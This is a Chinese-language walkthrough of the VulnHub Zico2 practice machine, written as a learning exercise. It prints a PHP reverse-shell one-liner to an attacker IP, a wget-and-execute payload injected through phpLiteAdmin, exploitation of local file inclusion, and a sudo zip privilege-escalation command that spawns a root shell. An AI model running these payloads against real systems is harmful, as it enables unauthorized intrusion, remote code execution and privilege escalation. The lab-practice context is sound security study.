vulnhub渗透环境

靶机地址

https://www.vulnhub.com/entry/zico2-1,210/

练习环境

  • Kali Linux
  • VirtualBox

信息收集

在信息收集之前需要获取到靶机的IP地址,我靶机在VirtualBox下是Host-Only网络模式,而靶机是无法直接进入系统看到IP地址的。

这里用到一个kali linux下的一个工具netdiscover基于ARP的网络扫描工具。

直接执行命令netdiscover:

这里我们获取到两个IP地址,测试发现正确的是192.168.56.102

接下来用nmap扫描端口信息

nmap -A 192.168.56.102

得到80端口上运行着一个Web服务器。

访问该Web服务,在这个时候我们可以用常见的扫描工具对网站进行扫描

漏洞利用

这里我简单对页面进行浏览,发现了一个文件包含漏洞。

1
view.php?page=tools.html

尝试包含../../etc/passwd

成功包含,解下来就尝试扫描目录,因为校园网的原因,只能用Host-Only网络模式进行测试,所以一切测试过程都在Kali下进行

这里尝试去扫描网站的目录,用到kali下的dirb专门用于爆破目录的工具。

得到一个dbadmin的目录

这里用到的是一个叫phpLiteAdmin服务器应用,版本号为v1.9.3

尝试找找这个版本的历史漏洞,这个服务是存在一个远程PHP代码注入漏洞的。

这里可以通过搜索引擎搜索相关漏洞详情也可以用kali下的Searchsploit一个用于Exploit-DB的命令行搜索工具。

这样们就可以看到漏洞详情,这里我们可以看到利用这个远程PHP代码注入漏洞需要登录的。

所以尝试默认密码admin,发现可以直接登录进去。

exploit-db上的资料可以看出,我们需要创建一个数据库,写入一个shell。

这里可以用nc监听端口来反弹shell,也可以用msf生成php目录进行监听。

按照exploit-db所说的建立数据库。这里直接创建一个后缀名为.php的数据库shell

并添加表信息

这里在本地的/var/www/html目录下创建txt文件

1
<?php $sock=fsockopen("192.168.56.101",2333);exec("/bin/sh -i <&3 >&3 2>&3");?>

然后启动apache web服务器

1
service apache2 start

然后返回到数据库中添加字段名,类型为TEXT,写入PHP代码来下载执行shell

1
<?php system("wget 192.168.56.101/shell.txt -O /tmp/shell.php; php /tmp/shell.php"); ?>

需要让目标下载执行这串恶意代码,需要一个HTTP请求。

这里我们就可以利用到之前发现的本地文件包含的漏洞了。

我们可以在数据库中发现我们恶意创建的数据库的路径

1
/usr/databases/shell.php

先用nc监听我们之前设置的端口2333

这里我们就可以反弹一个shell了。

权限提升

在反弹了shell后,对目录进行检查发现了

/home/zico中有一个wordpress目录,是一个常见的CMS

进入查看wp-config.php文件。

发现了用户zico的登录凭证,我们可以用ssh来连接。

1
ssh zico@192.168.56.102

利用sudo -l查看目前用户可执行与无法执行的指令;

这里表明当前用户zico可以利用root权限无密码执行tarzip命令

这里可以利用touch exploit创建一个随机文件,并用zip命令进行压缩

1
sudo zip exploit.zip exploit -T --unzip-command="python -c 'import pty; pty.spawn(\"/bin/sh\")'"
  • sudo 用管理员权限执行
  • -T 检查文件的完整性。这个参数可以让他执行下一个参数 –unzip-command,在这个参数中写入一个python的交互shell

由此的到root权限,接下来就可以进入/root目录了

cat /root/flag.txt得到flag。

总结

  • vulnhub里面有很多不同的环境提供渗透,第一次完成一次完整的渗透过程,学到了很多东西。
  • 在文章的开头用到了kali linux下的一个工具netdiscover基于ARP的网络扫描工具。记得在一个师傅的面试经验介绍中,他被面试官问到为什么要用arp去探测内网主机,他回答的是相当隐蔽,探测的信息更准确。主要是因为传统探测远程主机是否存活的方法是通过ICMP协议中的回显应答报文来探测(ping)。很多主机为了避免被扫描器探测,通过防火墙将ICMP包屏蔽,从而达到在网络中隐藏的目的。
  • 在文章中用到了两种语言的交互shell。分别是php和python,这里参考老外的博客Reverse Shell Cheat Sheet
  • 对于我个人在提权实战经验方面是十分少的,在这次练习中学到了可以利用touch exploit创建一个随机文件,并用zip命令进行压缩,由此可见还是自己的实战经验太少了。
  • 最后感概下,英文的重要性。国外很多大牛的博客都是很丰富的,而对于一个英语四级425飘过的菜鸡,我也是很无奈的。只能靠百度翻译了。